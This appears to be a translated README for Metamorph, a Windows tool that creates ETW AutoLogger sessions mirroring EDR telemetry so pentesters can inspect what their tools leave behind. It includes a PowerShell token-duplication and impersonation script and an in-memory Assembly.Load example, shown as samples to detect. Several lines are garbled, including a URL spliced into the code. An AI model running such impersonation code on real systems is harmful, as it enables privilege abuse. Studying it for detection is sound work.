
Утилита командной строки для Windows, написанная на C, которая создаёт и настраивает постоянные сеансы AutoLogger Event Tracing for Windows (ETW).
Этот инструмент — утилита командной строки для Windows, написанная на C, которая создаёт и настраивает постоянные сеансы Event Tracing for Windows (ETW) AutoLogger. Автологиеры автоматически запускают трассировку определённых поставщиков ETW при загрузке системы, что делает их полезными для захвата событий, происходящих на ранних этапах загрузки, или для сценариев непрерывного мониторинга.
Инструмент позволяет выбирать предопределённые списки поставщиков ETW, связанных с известными EDR, для включения в сеанс AutoLogger через аргументы командной строки. Он объединяет конфигурации, если один и тот же поставщик включён в несколько выбранных списков, гарантируя использование максимального уровня журналирования и комбинируя флаги ключевых слов для максимального охвата событий на основе выбранных списков.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\Metamorph).-Defender, -Crowdstrike, -MDE, -Sentinelone, -Cortex).-All).-noisy)Level, указанный среди всех дубликатов для поставщика.MatchAnyKeyword с помощью побитового ИЛИ из всех дубликатов (независимо от уровня), чтобы обеспечить максимально широкое покрытие ключевых слов.MatchAllKeyword из той записи конфигурации, которая обеспечила наивысший уровень.Вам понадобится компилятор C, например, входящий в состав Visual Studio.
Нестандартных импортов нет, так что компиляция через Cl должна пройти без особых проблем.
Важно: Этот инструмент изменяет реестр Windows (HKEY_LOCAL_MACHINE) и поэтому требует прав Администратора для корректной работы.
.\Metamorph.exe <options>
# Включить только поставщиков из Defender
.\Metamorph.exe -Defender
# Включить поставщиков из Defender и MDE, объединяя дубликаты
.\Metamorph.exe -Defender -MDE
# Включить всех поставщиков из всех движков, объединяя дубликаты
.\Metamorph.exe -All
# Включить одного поставщика, а также «шумных», потому что почему бы и нет, в конце концов, заполнить дисковое пространство?
.\Metamorph.exe -All -noisy
После инициализации необходима перезагрузка, чтобы начал работать вновь зарегистрированный поставщик.
Чтобы очистить этого поставщика, необходимо:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\Metamorph)ETW обеспечивает глубокую видимость событий времени выполнения. Это можно использовать для обнаружения потенциально подозрительной активности, которая может указывать на активность вредоносного ПО или техники обфускации. После установки поставщики должны обеспечивать тот же уровень телеметрии «журналов событий», что и «клонированный» EDR. Это должно упростить исследование IOC, которые могут оставаться от внутренних инструментов.
После перезагрузки системы и запуска интересующих приложений файл .etl (например, Metamorph.etl) будет содержать захваченные события.
Создаваемый файл (C:\Windows\System32\LogFiles\WMI\Metamorph.etl.00x) может быть обработан несколькими публичными инструментами, такими как:
Nota bene: Metamorph использует циклические файлы журнала, чтобы случайно не потерять их после перезагрузки, но некоторым инструментам нужно, чтобы файл заканчивался на .etl, поэтому перед использованием необходимо удалить суффикс.
Кроме того, можно просто преобразовать файл .etl в CSV для быстрого поиска:
tracerpt MyKeywordMergedETWLogger.etl -o logdump.csv -of CSV
Допустим, у нас есть следующая программа PowerShell, которая загружает файл с помощью Assembly.Load:
[Reflection.Assembly]:https://raw.githubusercontent.com/synacktiv/metamorph/HEAD/:Load(%5BSystem.Convert%5D::FromBase64String(%22TVqQAAMAAAAEAAAA/8AALgAAAAAAAAAQAAAAAA%5B...%5DAAAAAAAAAAAAA%22))
#Récupération du handle sur le process cible
$ProcessDesiredAccess = 0x00000400
$InheritHandle = 0
$ProcessId = $PID
$hProcess = [api32.run]::OpenProcess($ProcessDesiredAccess, $InheritHandle, $ProcessId)
if($hProcess -eq 0){ Write-Output "OpenProcess Error" }
#Récupération du handle sur le token du process cible
$hToken = [IntPtr]::Zero
$TokenDesiredAccess = 0x00000006
$Success = [api32.run]::OpenProcessToken($hProcess, $TokenDesiredAccess, [ref]$hToken)
if(-not $Success){ Write-Output "OpenProcessToken Error" }
#Duplication du token
$DesiredAccess = 0x10000000
$SecurityAttribute = New-Object api32.run+_SECURITY_ATTRIBUTES
$SecurityAttribute.lpSecurityDescriptor = [IntPtr]::Zero
$SecurityAttribute.bInheritHandle = $true
$ImpersonationLevel = 3
$TokenType = 1
$hDuplicatedToken = [IntPtr]::Zero
$Success = [api32.run]::DuplicateTokenEx($hToken, $DesiredAccess,[ref]$SecurityAttribute, $ImpersonationLevel, $TokenType,[ref]$hDuplicatedToken)
if(-not $Success) { Write-Debug "DuplicateTokenEx Error" }
#Creation du cmd avec le token dupliqué
$LogonFlags = 0
$ApplicationName = "cmd.exe"
$CommandLine = "/K whoami /all"
$CreationFlags = 0x00000010
$Environnement = [IntPtr]::Zero
$CurrentDirectory = "c:\windows\system32"
$StartUpinformation = New-Object api32.run+STARTUPINFOA
$ProcessInformation = New-Object api32.run+_PROCESS_INFORMATION
$Success = [api32.run]::CreateProcessWithTokenW($hDuplicatedToken, $LogonFlags,$ApplicationName, $CommandLine, $CreationFlags, $Environnement, $CurrentDirectory, [ref]$StartUpinformation,[ref]$ProcessInformation)
if(-not $Success) { Write-Debug "CreateProcessWithTokenW Error" }
Этот скрипт, по сути, выполняет атаку, подобную той, которую можно осуществить с помощью инструмента impersonate.exe.




Итак, в конечном итоге EDR и аналитики имеют возможность проводить сигнатурный анализ на основе AssemblyName для известных бинарников (например: "Rubeus"), а кроме того, у них есть возможность извлекать скрипты PowerShell (включая комментарии) для посмертного анализа.
Если вы считаете этот инструмент полезным, вы можете добавить свои (или другие) решения, следуя инструкциям в CONTRIBUTING.md. Я постараюсь обновлять его на регулярной основе, но поскольку это будет полностью зависеть от решений, встречающихся во время пентестов, не стесняйтесь отправлять PR, если хотите, чтобы ваши изменения были доступны всем.